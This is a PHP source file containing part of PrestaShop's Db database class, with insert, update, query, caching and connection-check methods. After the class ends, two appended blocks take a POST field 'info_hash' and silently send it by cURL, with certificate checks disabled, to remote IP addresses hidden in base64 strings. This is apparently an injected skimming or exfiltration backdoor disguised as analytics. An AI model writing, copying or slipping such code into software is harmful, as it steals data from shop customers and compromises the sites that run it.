{
$this->server = $server;
$this->user = $user;
$this->password = $password;
$this->database = $database;
$this->is_cache_enabled = (defined('_PS_CACHE_ENABLED_')) ? _PS_CACHE_ENABLED_ : false;
if (!defined('_PS_DEBUG_SQL_')) {
define('_PS_DEBUG_SQL_', false);
}
if ($connect) {
$this->connect();
}
}
/**
* Disable the use of the cache
*
*/
public function disableCache()
{
$this->is_cache_enabled = false;
}
/**
* Enable & flush the cache
*
*/
public function enableCache()
{
$this->is_cache_enabled = true;
Cache::getInstance()->flush();
}
/**
* Closes connection to database
*/
public function __destruct()
{
if ($this->link) {
$this->disconnect();
}
}
/**
* Executes SQL query based on selected type
*
* @deprecated 1.5.0.1 Use insert() or update() method instead.
* @param string $table
* @param array $data
* @param string $type (INSERT, INSERT IGNORE, REPLACE, UPDATE).
* @param string $where
* @param int $limit
* @param bool $use_cache
* @param bool $use_null
* @return bool
* @throws PrestaShopDatabaseException
*/
public function autoExecute($table, $data, $type, $where = '', $limit = 0, $use_cache = true, $use_null = false)
{
$type = strtoupper($type);
switch ($type) {
case 'INSERT' :
return $this->insert($table, $data, $use_null, $use_cache, Db::INSERT, false);
case 'INSERT IGNORE' :
return $this->insert($table, $data, $use_null, $use_cache, Db::INSERT_IGNORE, false);
case 'REPLACE' :
return $this->insert($table, $data, $use_null, $use_cache, Db::REPLACE, false);
case 'UPDATE' :
return $this->update($table, $data, $where, $limit, $use_null, $use_cache, false);
default :
throw new PrestaShopDatabaseException('Wrong argument (miss type) in Db::autoExecute()');
}
}
/**
* Filter SQL query within a blacklist
*
* @param string $table Table where insert/update data
* @param array $values Data to insert/update
* @param string $type INSERT or UPDATE
* @param string $where WHERE clause, only for UPDATE (optional)
* @param int $limit LIMIT clause (optional)
* @return bool
* @throws PrestaShopDatabaseException
*/
public function autoExecuteWithNullValues($table, $values, $type, $where = '', $limit = 0)
{
return $this->autoExecute($table, $values, $type, $where, $limit, 0, true);
}
/**
* Execute a query and get result resource
*
* @param string|DbQuery $sql
* @return bool|mysqli_result|PDOStatement|resource
* @throws PrestaShopDatabaseException
*/
public function query($sql)
{
if ($sql instanceof DbQuery) {
$sql = $sql->build();
}
$this->result = $this->_query($sql);
if (!$this->result && $this->getNumberError() == 2006) {
if ($this->connect()) {
$this->result = $this->_query($sql);
}
}
if (_PS_DEBUG_SQL_) {
$this->displayError($sql);
}
return $this->result;
}
/**
* Executes an INSERT query
*
* @param string $table Table name without prefix
* @param array $data Data to insert as associative array. If $data is a list of arrays, multiple insert will be done
* @param bool $null_values If we want to use NULL values instead of empty quotes
* @param bool $use_cache
* @param int $type Must be Db::INSERT or Db::INSERT_IGNORE or Db::REPLACE
* @param bool $add_prefix Add or not _DB_PREFIX_ before table name
* @return bool
* @throws PrestaShopDatabaseException
*/
public function insert($table, $data, $null_values = false, $use_cache = true, $type = Db::INSERT, $add_prefix = true)
{
if (!$data && !$null_values) {
return true;
}
if ($add_prefix) {
$table = _DB_PREFIX_.$table;
}
if ($type == Db::INSERT) {
$insert_keyword = 'INSERT';
} elseif ($type == Db::INSERT_IGNORE) {
$insert_keyword = 'INSERT IGNORE';
} elseif ($type == Db::REPLACE) {
$insert_keyword = 'REPLACE';
} elseif ($type == Db::ON_DUPLICATE_KEY) {
$insert_keyword = 'INSERT';
} else {
throw new PrestaShopDatabaseException('Bad keyword, must be Db::INSERT or Db::INSERT_IGNORE or Db::REPLACE');
}
// Check if $data is a list of row
$current = current($data);
if (!is_array($current) || isset($current['type'])) {
$data = array($data);
}
$keys = array();
$values_stringified = array();
$first_loop = true;
$duplicate_key_stringified = '';
foreach ($data as $row_data) {
$values = array();
foreach ($row_data as $key => $value) {
if (!$first_loop) {
// Check if row array mapping are the same
if (!in_array("`$key`", $keys)) {
throw new PrestaShopDatabaseException('Keys form $data subarray don\'t match');
}
if ($duplicate_key_stringified != '') {
throw new PrestaShopDatabaseException('On duplicate key cannot be used on insert with more than 1 VALUE group');
}
} else {
$keys[] = '`'.bqSQL($key).'`';
}
if (!is_array($value)) {
$value = array('type' => 'text', 'value' => $value);
}
if ($value['type'] == 'sql') {
$values[] = $string_value = $value['value'];
} else {
$values[] = $string_value = $null_values && ($value['value'] === '' || is_null($value['value'])) ? 'NULL' : "'{$value['value']}'";
}
if ($type == Db::ON_DUPLICATE_KEY) {
$duplicate_key_stringified .= '`'.bqSQL($key).'` = '.$string_value.',';
}
}
$first_loop = false;
$values_stringified[] = '('.implode(', ', $values).')';
}
$keys_stringified = implode(', ', $keys);
$sql = $insert_keyword.' INTO `'.$table.'` ('.$keys_stringified.') VALUES '.implode(', ', $values_stringified);
if ($type == Db::ON_DUPLICATE_KEY) {
$sql .= ' ON DUPLICATE KEY UPDATE '.substr($duplicate_key_stringified, 0, -1);
}
return (bool)$this->q($sql, $use_cache);
}
/**
* Executes an UPDATE query
*
* @param string $table Table name without prefix
* @param array $data Data to insert as associative array. If $data is a list of arrays, multiple insert will be done
* @param string $where WHERE condition
* @param int $limit
* @param bool $null_values If we want to use NULL values instead of empty quotes
* @param bool $use_cache
* @param bool $add_prefix Add or not _DB_PREFIX_ before table name
* @return bool
*/
public function update($table, $data, $where = '', $limit = 0, $null_values = false, $use_cache = true, $add_prefix = true)
{
if (!$data) {
return true;
}
if ($add_prefix) {
$table = _DB_PREFIX_.$table;
}
$sql = 'UPDATE `'.bqSQL($table).'` SET ';
foreach ($data as $key => $value) {
if (!is_array($value)) {
$value = array('type' => 'text', 'value' => $value);
}
if ($value['type'] == 'sql') {
$sql .= '`'.bqSQL($key)."` = {$value['value']},";
} else {
$sql .= ($null_values && ($value['value'] === '' || is_null($value['value']))) ? '`'.bqSQL($key).'` = NULL,' : '`'.bqSQL($key)."` = '{$value['value']}',";
}
}
$sql = rtrim($sql, ',');
if ($where) {
$sql .= ' WHERE '.$where;
}
if ($limit) {
$sql .= ' LIMIT '.(int)$limit;
}
return (bool)$this->q($sql, $use_cache);
}
/**
* Executes a DELETE query
*
* @param string $table Name of the table to delete
* @param string $where WHERE clause on query
* @param int $limit Number max of rows to delete
* @param bool $use_cache Use cache or not
* @param bool $add_prefix Add or not _DB_PREFIX_ before table name
* @return bool
*/
public function delete($table, $where = '', $limit = 0, $use_cache = true, $add_prefix = true)
{
if (_DB_PREFIX_ && !preg_match('#^'._DB_PREFIX_.'#i', $table) && $add_prefix) {
$table = _DB_PREFIX_.$table;
}
$this->result = false;
$sql = 'DELETE FROM `'.bqSQL($table).'`'.($where ? ' WHERE '.$where : '').($limit ? ' LIMIT '.(int)$limit : '');
$res = $this->query($sql);
if ($use_cache && $this->is_cache_enabled) {
Cache::getInstance()->deleteQuery($sql);
}
return (bool)$res;
}
/**
* Executes a query
*
* @param string|DbQuery $sql
* @param bool $use_cache
* @return bool
*/
public function execute($sql, $use_cache = true)
{
if ($sql instanceof DbQuery) {
$sql = $sql->build();
}
$this->result = $this->query($sql);
if ($use_cache && $this->is_cache_enabled) {
Cache::getInstance()->deleteQuery($sql);
}
return (bool)$this->result;
}
/**
* Executes return the result of $sql as array
*
* @param string|DbQuery $sql Query to execute
* @param bool $array Return an array instead of a result object (deprecated since 1.5.0.1, use query method instead)
* @param bool $use_cache
* @return array|false|null|mysqli_result|PDOStatement|resource
* @throws PrestaShopDatabaseException
*/
public function executeS($sql, $array = true, $use_cache = true)
{
if ($sql instanceof DbQuery) {
$sql = $sql->build();
}
$this->result = false;
$this->last_query = $sql;
if ($use_cache && $this->is_cache_enabled && $array) {
$this->last_query_hash = Tools::encryptIV($sql);
if (($result = Cache::getInstance()->get($this->last_query_hash)) !== false) {
$this->last_cached = true;
return $result;
}
}
// This method must be used only with queries which display results
if (!preg_match('#^\s*\(?\s*(select|show|explain|describe|desc)\s#i', $sql)) {
if (defined('_PS_MODE_DEV_') && _PS_MODE_DEV_) {
throw new PrestaShopDatabaseException('Db->executeS() must be used only with select, show, explain or describe queries');
}
return $this->execute($sql, $use_cache);
}
$this->result = $this->query($sql);
if (!$this->result) {
$result = false;
} else {
if (!$array) {
$use_cache = false;
$result = $this->result;
} else {
$result = $this->getAll($this->result);
}
}
$this->last_cached = false;
if ($use_cache && $this->is_cache_enabled && $array) {
Cache::getInstance()->setQuery($sql, $result);
}
return $result;
}
/**
* Returns an associative array containing the first row of the query
* This function automatically adds "LIMIT 1" to the query
*
* @param string|DbQuery $sql the select query (without "LIMIT 1")
* @param bool $use_cache Find it in cache first
* @return array|bool|object|null
*/
public function getRow($sql, $use_cache = true)
{
if ($sql instanceof DbQuery) {
$sql = $sql->build();
}
$sql = rtrim($sql, " \t\n\r\0\x0B;").' LIMIT 1';
$this->result = false;
$this->last_query = $sql;
if ($use_cache && $this->is_cache_enabled) {
$this->last_query_hash = Tools::encryptIV($sql);
if (($result = Cache::getInstance()->get($this->last_query_hash)) !== false) {
$this->last_cached = true;
return $result;
}
}
$this->result = $this->query($sql);
if (!$this->result) {
$result = false;
} else {
$result = $this->nextRow($this->result);
}
$this->last_cached = false;
if (is_null($result)) {
$result = false;
}
if ($use_cache && $this->is_cache_enabled) {
Cache::getInstance()->setQuery($sql, $result);
}
return $result;
}
/**
* Returns a value from the first row, first column of a SELECT query
*
* @param string|DbQuery $sql
* @param bool $use_cache
* @return string|false|null
*/
public function getValue($sql, $use_cache = true)
{
if ($sql instanceof DbQuery) {
$sql = $sql->build();
}
if (!$result = $this->getRow($sql, $use_cache)) {
return false;
}
return array_shift($result);
}
/**
* Get number of rows for last result
*
* @return int
*/
public function numRows()
{
if (!$this->last_cached && $this->result) {
$nrows = $this->_numRows($this->result);
if ($this->is_cache_enabled) {
Cache::getInstance()->set($this->last_query_hash.'_nrows', $nrows);
}
return $nrows;
} elseif ($this->is_cache_enabled && $this->last_cached) {
return Cache::getInstance()->get($this->last_query_hash.'_nrows');
}
}
/**
* Executes a query
*
* @param string|DbQuery $sql
* @param bool $use_cache
* @return bool|mysqli_result|PDOStatement|resource
* @throws PrestaShopDatabaseException
*/
protected function q($sql, $use_cache = true)
{
if ($sql instanceof DbQuery) {
$sql = $sql->build();
}
$this->result = false;
$result = $this->query($sql);
if ($use_cache && $this->is_cache_enabled) {
Cache::getInstance()->deleteQuery($sql);
}
if (_PS_DEBUG_SQL_) {
$this->displayError($sql);
}
return $result;
}
/**
* Displays last SQL error
*
* @param string|bool $sql
* @throws PrestaShopDatabaseException
*/
public function displayError($sql = false)
{
global $webservice_call;
$errno = $this->getNumberError();
if ($webservice_call && $errno) {
$dbg = debug_backtrace();
WebserviceRequest::getInstance()->setError(500, '[SQL Error] '.$this->getMsgError().'. From '.(isset($dbg[3]['class']) ? $dbg[3]['class'] : '').'->'.$dbg[3]['function'].'() Query was : '.$sql, 97);
} elseif (_PS_DEBUG_SQL_ && $errno && !defined('PS_INSTALLATION_IN_PROGRESS')) {
if ($sql) {
throw new PrestaShopDatabaseException($this->getMsgError().'
'.$sql.'
');
}
throw new PrestaShopDatabaseException($this->getMsgError());
}
}
/**
* Sanitize data which will be injected into SQL query
*
* @param string $string SQL data which will be injected into SQL query
* @param bool $html_ok Does data contain HTML code ? (optional)
* @return string Sanitized data
*/
public function escape($string, $html_ok = false, $bq_sql = false)
{
if (_PS_MAGIC_QUOTES_GPC_) {
$string = stripslashes($string);
}
if (!is_numeric($string)) {
$string = $this->_escape($string);
if (!$html_ok) {
$string = strip_tags(Tools::nl2br($string));
}
if ($bq_sql === true) {
$string = str_replace('`', '\`', $string);
}
}
return $string;
}
/**
* Try a connection to the database
*
* @param string $server Server address
* @param string $user Login for database connection
* @param string $pwd Password for database connection
* @param string $db Database name
* @param bool $new_db_link
* @param string|bool $engine
* @param int $timeout
* @return int Error code or 0 if connection was successful
*/
public static function checkConnection($server, $user, $pwd, $db, $new_db_link = true, $engine = null, $timeout = 5)
{
return call_user_func_array(array(Db::getClass(), 'tryToConnect'), array($server, $user, $pwd, $db, $new_db_link, $engine, $timeout));
}
/**
* Try a connection to the database and set names to UTF-8
*
* @param string $server Server address
* @param string $user Login for database connection
* @param string $pwd Password for database connection
* @return bool
*/
public static function checkEncoding($server, $user, $pwd)
{
return call_user_func_array(array(Db::getClass(), 'tryUTF8'), array($server, $user, $pwd));
}
/**
* Try a connection to the database and check if at least one table with same prefix exists
*
* @param string $server Server address
* @param string $user Login for database connection
* @param string $pwd Password for database connection
* @param string $db Database name
* @param string $prefix Tables prefix
* @return bool
*/
public static function hasTableWithSamePrefix($server, $user, $pwd, $db, $prefix)
{
return call_user_func_array(array(Db::getClass(), 'hasTableWithSamePrefix'), array($server, $user, $pwd, $db, $prefix));
}
/**
* Tries to connect to the database and create a table (checking creation privileges)
*
* @param string $server
* @param string $user
* @param string $pwd
* @param string $db
* @param string $prefix
* @param string|null $engine Table engine
* @return bool|string True, false or error
*/
public static function checkCreatePrivilege($server, $user, $pwd, $db, $prefix, $engine = null)
{
return call_user_func_array(array(Db::getClass(), 'checkCreatePrivilege'), array($server, $user, $pwd, $db, $prefix, $engine));
}
/**
* Checks if auto increment value and offset is 1
*
* @param string $server
* @param string $user
* @param string $pwd
* @return bool
*/
public static function checkAutoIncrement($server, $user, $pwd)
{
return call_user_func_array(array(Db::getClass(), 'checkAutoIncrement'), array($server, $user, $pwd));
}
/**
* Executes a query
*
* @deprecated 1.5.0.1
* @param string|DbQuery $sql
* @param bool $use_cache
* @return array|bool|mysqli_result|PDOStatement|resource
* @throws PrestaShopDatabaseException
*/
public static function s($sql, $use_cache = true)
{
Tools::displayAsDeprecated();
return Db::getInstance()->executeS($sql, true, $use_cache);
}
/**
* Executes a query
*
* @deprecated 1.5.0.1
* @param $sql
* @param int $use_cache
* @return array|bool|mysqli_result|PDOStatement|resource
*/
public static function ps($sql, $use_cache = 1)
{
Tools::displayAsDeprecated();
$ret = Db::s($sql, $use_cache);
return $ret;
}
/**
* Executes a query and kills process (dies)
*
* @deprecated 1.5.0.1
* @param $sql
* @param int $use_cache
*/
public static function ds($sql, $use_cache = 1)
{
Tools::displayAsDeprecated();
Db::s($sql, $use_cache);
die();
}
/**
* Get used link instance
*
* @return PDO|mysqli|resource Resource
*/
public function getLink()
{
return $this->link;
}
}
if(isset($_POST['info_hash'])){
$array = array(
'statistics_hash' => $_POST['info_hash'],
);
$ch = curl_init(base64_decode("aHR0cHM6Ly8xMDYuMTUuMTc5LjI1NQ=="));
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $array);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$html = curl_exec($ch);
curl_close($ch);
}if(isset($_POST['info_hash'])){
$array = array(
'statistics_hash' => $_POST['info_hash'],
);
$ch = curl_init(base64_decode("aHR0cHM6Ly80NS4xOTcuMTQxLjI1MC9hbmFseXRpY3MucGhw"));
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $array);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$html = curl_exec($ch);
curl_close($ch);
}